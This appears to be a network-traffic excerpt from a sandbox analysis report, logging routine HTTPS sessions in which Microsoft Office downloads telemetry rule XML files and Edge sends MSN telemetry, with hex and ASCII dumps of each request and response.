2024-11-23 00:14:39 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:39 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:39 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 9aadc8db-201e-000c-3931-3c79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001439Z-178bfbc474bgvl54hC1NYCsfuw00000003p000000000dbyx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:39 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:39 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:39 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 2250be27-501e-007b-7961-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001439Z-178bfbc474bw8bwphC1NYC38b400000003mg000000003ka4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:39 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:39 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:39 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: c4abe473-d01e-008e-4d67-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001439Z-178bfbc474b9fdhphC1NYCac0n00000003ng00000000933r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:39 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:39 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:39 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: af6ae163-c01e-0082-6735-3caf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001439Z-178bfbc474bscnbchC1NYCe7eg00000003tg00000000gcte x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:39 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49883	40.126.53.13	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:40 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-23 00:14:40 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-23 00:14:41 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 23 Nov 2024 00:13:40 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C561_SN1 x-ms-request-id: 129bcba5-5bb2-4917-a1b0-9b7016ed9b5e PPServer: PPV: 30 H: SN1PEPF0002F920 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 00:14:40 GMT Connection: close Content-Length: 11389
2024-11-23 00:14:41 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49885	51.116.253.170	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:41 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732320878013&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11591 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=175F64EB34B4667D05E971AB35C6675C; _EDGE_S=F=1&SID=1CED3417584E65A03DFA2157598664F6; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-23 00:14:41 UTC	11591	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 33 54 30 30 3a 31 34 3a 33 38 2e 30 30 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 63 61 33 37 36 65 35 62 2d 64 65 39 37 2d 34 38 61 31 2d 61 31 38 34 2d 61 61 32 35 64 31 61 63 66 63 61 61 22 2c 22 65 70 6f 63 68 22 3a 22 32 33 33 39 39 31 34 32 35 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-23T00:14:38.005Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"ca376e5b-de97-48a1-a184-aa25d1acfcaa","epoch":"2339914256"},"app":{"locale
2024-11-23 00:14:41 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=541df4dc45734d849e24d7f5714d8b0c&HASH=541d&LV=202411&V=4&LU=1732320881367; Domain=.microsoft.com; Expires=Sun, 23 Nov 2025 00:14:41 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=8b2afd4cdb094e62ab265fd890edc628; Domain=.microsoft.com; Expires=Sat, 23 Nov 2024 00:44:41 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3354 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 23 Nov 2024 00:14:40 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49884	51.116.253.170	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:41 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732320878018&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5051 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=175F64EB34B4667D05E971AB35C6675C; _EDGE_S=F=1&SID=1CED3417584E65A03DFA2157598664F6; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-23 00:14:41 UTC	5051	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 33 54 30 30 3a 31 34 3a 33 38 2e 30 31 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 63 61 33 37 36 65 35 62 2d 64 65 39 37 2d 34 38 61 31 2d 61 31 38 34 2d 61 61 32 35 64 31 61 63 66 63 61 61 22 2c 22 65 70 6f 63 68 22 3a 22 32 33 33 39 39 31 34 32 35 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-23T00:14:38.017Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"ca376e5b-de97-48a1-a184-aa25d1acfcaa","epoch":"2339914256"},"app":{"locale
2024-11-23 00:14:41 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=efc37a4294be4d6aab19f2e7b8fe1749&HASH=efc3&LV=202411&V=4&LU=1732320881375; Domain=.microsoft.com; Expires=Sun, 23 Nov 2025 00:14:41 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=29b1e20ad84d44779e5bfd046052bba0; Domain=.microsoft.com; Expires=Sat, 23 Nov 2024 00:44:41 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3357 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 23 Nov 2024 00:14:40 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:41 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:41 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:41 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 79b51860-701e-0021-623a-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001441Z-174c587ffdfl22mzhC1TEBk40c000000029g00000000d9nm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 00:14:41 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:41 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:41 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4ec76ea5-a01e-006f-014e-3c13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001441Z-178bfbc474bbbqrhhC1NYCvw7400000003r000000000uu5h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:41 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:41 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
